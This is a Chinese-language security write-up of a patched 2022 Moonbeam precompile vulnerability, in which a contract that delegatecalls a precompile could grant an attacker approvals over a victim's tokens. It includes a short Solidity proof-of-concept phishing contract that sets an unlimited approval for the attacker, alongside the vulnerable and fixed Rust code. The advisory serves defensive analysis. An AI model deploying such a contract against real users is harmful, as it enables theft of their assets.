專案方在專案開發過程中需要考慮到 delegatecall 和 call 的不同之處,被調用合約能通過 delegatecall 進行調用的,需要全方位思考其應用場景以及底層原理,做好嚴格的代碼測試。

封面:攝影:GuerrillaBuzz on Unsplash

2022 年 5 月,白帽組織 pwning.eth 向 Moonbeam 提交了一個關於預編譯合約的嚴重漏洞,該漏洞能使得攻擊者任意轉移他人資產,當時該漏洞所影響資金高達 1 億美元。

據瞭解,該漏洞涉及對非標準乙太坊預編譯的調用。 這些位址允許 EVM 通過智慧合約訪問 Moonbeam 的一些核心功能(如 XC-20、質押和民主 pallet),這些功能並不存在於基礎的 EVM 中。 通過 DELEGATECALL,一個惡意的智慧合約可以回調訪問另一方的預編譯存儲。

普通使用者不會遇到這個問題,這需要他們主動向該惡意智慧合約發送交易。 然而,對於其他允許任意調用外部智慧合約的智慧合約來說(比如部分允許回調的智能合約),這是一個問題。 在這些情況下,不法消費者能對 DEX 執行對惡意智慧合約的調用,該智慧合約將能夠訪問偽裝 DEX 的預編譯,並可能將合約中的餘額轉移到任何其他位址。

接下來跟著 Beosin 安全研究團隊來看一下該漏洞的利用原理與實現過程。

什麼是預編譯合約?

在 EVM 中,一份合約代碼會被解釋成一個個的指令並執行,在每條指令執行過程中,EVM 都會對執行條件進行檢查,也就是 gas 費是否充足,若 gas 不足,則會拋出錯誤。

EVM 虛擬機在執行交易的過程中數據存儲並不是基於寄存器,而是基於棧的操作,每次數據讀寫操作都必須從棧頂開始,所以導致其運行效率非常低,加上每一條指令都需要進行運行檢查,那麼在對一個相對複雜的運算進行執行時,可能需要大量的時間成本,而在區塊鏈中,正需要很多這種複雜的運算,例如加密函數、哈希函數等,導致很多函數在 EVM 環境中執行是不現實的。

預編譯合約便是 EVM 為了一些不適合在 EVM 中執行的較為複雜的庫函數(多用於加密、哈希等複雜運算)而設計的一種折中方案,主要用於一些計算複雜但邏輯簡單且調用頻繁的一些函數或邏輯固定的合約。

部署预编译合约需要发起 EIP 提案,审核通过后将同步到各个客户端。例如以太坊实现的某些预编译合约:ercecover()(椭圆曲线公钥恢复,地址 0x1)、sha256hash()(Sha256Hash 计算,地址 0x2)、ripemd160hash()(Ripemd160Hash 计算,地址 0x3)等,这些函数都被设置成了一个固定的 gas 花费,而不用在调用过程中按照字节码进行 gas 计算,大大降低了时间成本与 gas 成本。并且由于预编译合约通常是在客户端用客户端代码实现,不需要使用 EVM,所以运行速度快。

关于 Moonbeam 项目漏洞

在 Moonbeam 项目中,Balance ERC-20 precompile  提供了一个 ERC-20  接口来处理 balance 的原生代币,合约可以使用 address.call 的方式对预编译合约进行调用,此处 address 为预编译地址,下列是 moonbeam 修复之前的代码预编译合约调用的代码。

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {  match handle.code_address() {    // Ethereum precompiles :    a if a == hash(1) => Some(ECRecover::execute(handle)),    a if a == hash(2) => Some(Sha256::execute(handle)),    a if a == hash(3) => Some(Ripemd160::execute(handle)),    a if a == hash(5) => Some(Modexp::execute(handle)),    a if a == hash(4) => Some(Identity::execute(handle)),    a if a == hash(6) => Some(Bn128Add::execute(handle)),    a if a == hash(7) => Some(Bn128Mul::execute(handle)),    a if a == hash(8) => Some(Bn128Pairing::execute(handle)),    a if a == hash(9) => Some(Blake2F::execute(handle)),    a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),    a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),    a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),    a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),    a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),    a if a == hash(2050) => Some(      Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),    ),    a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),    a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),    a if a == hash(2053) => Some(RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)),    a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),    a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),    a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),    // If the address matches asset prefix, the we route through the asset precompile set    a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {      Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()        .execute(handle)    }    // If the address matches asset prefix, the we route through the asset precompile set    a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {      Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)    }    _ => None,  }}

上述代码是由 Rust 语言实现的 moonbase 预编译合约集的执行方法(fn execute()),该方法会匹配调用的预编译合约地址,然后交由不同的预编译合约去处理输入的 data。执行方法传入的 handle(预编译交互句柄)包括了 call(call_data) 中的相关内容,以及交易上下文信息等。

因此当要调用 ERC20 预编译代币合约时,需通过 0x000…00802.call(“fanction(type)”,parameter) 的方式(0x802=2050),便能调用 ERC20 预编译代币合约的相关函数。

但上述 moonbase 预编译合约集的执行方法存在一个问题,即未检查其他合约的调用方式。如果使用 delegatecall(call_data) 而不是 call(call_data) 的方式调用预编译合约及,便会出现问题。

接下来我们先看一下使用 delegatecall(call_data) 和 call(call_data) 的区别:

1. 使用 EOA 账户在合约 A 中利用 address.call(call_data) 调用另一个合约 B 的函数时,执行环境是在合约 B 中,使用的调用者信息 (msg) 是合约 A,如下图。

2. 利用 delegatecall 调用时,执行环境是在合约 A 中,使用的调用者信息 (msg) 是 EOA,而无法修改合约 B 中的存储数据。如下图。

无论通过什么方式调用,EOA 信息和合约 B 无法通过合约 A 绑定到一起,这使得合约之间的调用是安全的。

因此由于 moonbase 预编译合约集的执行方法(fn execute())未检查调用的方式。那么当使用 delegatecall 去调用预编译合约,也会在预编译合约中去执行相关方法并写入预编译合约的存储中。即如下图所示,当 EOA 账户去调用了一个攻击者编写的恶意合约 A,A 中使用 delegatecall 的方式去调用了预编译合约 B。这将会在 A 和 B 中同时写入调用后的数据,实现钓鱼攻击。

漏洞利用过程

攻击者可以部署以下钓鱼合约,并通过钓鱼等方式诱使受害用户调用钓鱼函数-uniswapV2Call,而函数会再次调用实现了 delegatecall(token_approve) 的 stealLater 函数。

根据上述介绍规则,攻击合约调用代币合约的 approve 函数授权(asset=0x000…00802),当用户调用 uniswapV2Call 之后,会在钓鱼合约和预编译合约的 storage 中同时写入授权,攻击者只用调用预编译合约的 transferfrom 函数便可将用户代币全部转移出去。

pragma solidity >=0.8.0;
contract ExploitFlashSwap {address asset;address beneficiary;constructor(address _asset, address _beneficiary) {asset = _asset;beneficiary = _beneficiary;}function stealLater() external {(bool success,) = asset.delegatecall(abi.encodeWithSignature("approve(address,uint256)",beneficiary,(uint256)(int256(-1))));require(success,"approve");}
function uniswapV2Call(address sender,uint amount0,uint amount1,bytes calldata data) external {stealLater();}}

漏洞修复

随后开发者在 moonbase 预编译合约集的执行方法(fn execute())中判断了 EVM 执行环境的地址是否和预编译地址一致,以确保只能使用 call() 方式对 0x000…00009 地址以后的预编译合约合约进行调用,项目方修复之后的代码如下:

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {    // Filter known precompile addresses except Ethereum officials    if self.is_precompile(handle.code_address())      && handle.code_address() > hash(9)      && handle.code_address() != handle.context().address    {      return Some(Err(revert(        "cannot be called with DELEGATECALL or CALLCODE",      )));    }
match handle.code_address() {......

安全建議

關於這個問題,Beosin 安全團隊建議,專案方在專案開發過程中需要考慮到 delegatecall 和 call 的不同之處,被調用合約能通過 delegatecall 進行調用的,需要全方位思考其應用場景以及底層原理,做好嚴格的代碼測試。  建議在項目上線前,尋找專業的區塊鏈審計公司進行全面的安全審計。

免責聲明:作為區塊鏈資訊平臺,本站所發佈文章僅代表作者及嘉賓個人觀點,與 Web3Caff 立場無關。 文章內的資訊僅供參考,均不構成任何投資建議及要約,並請您遵守所在國家或地區的相關法律法規。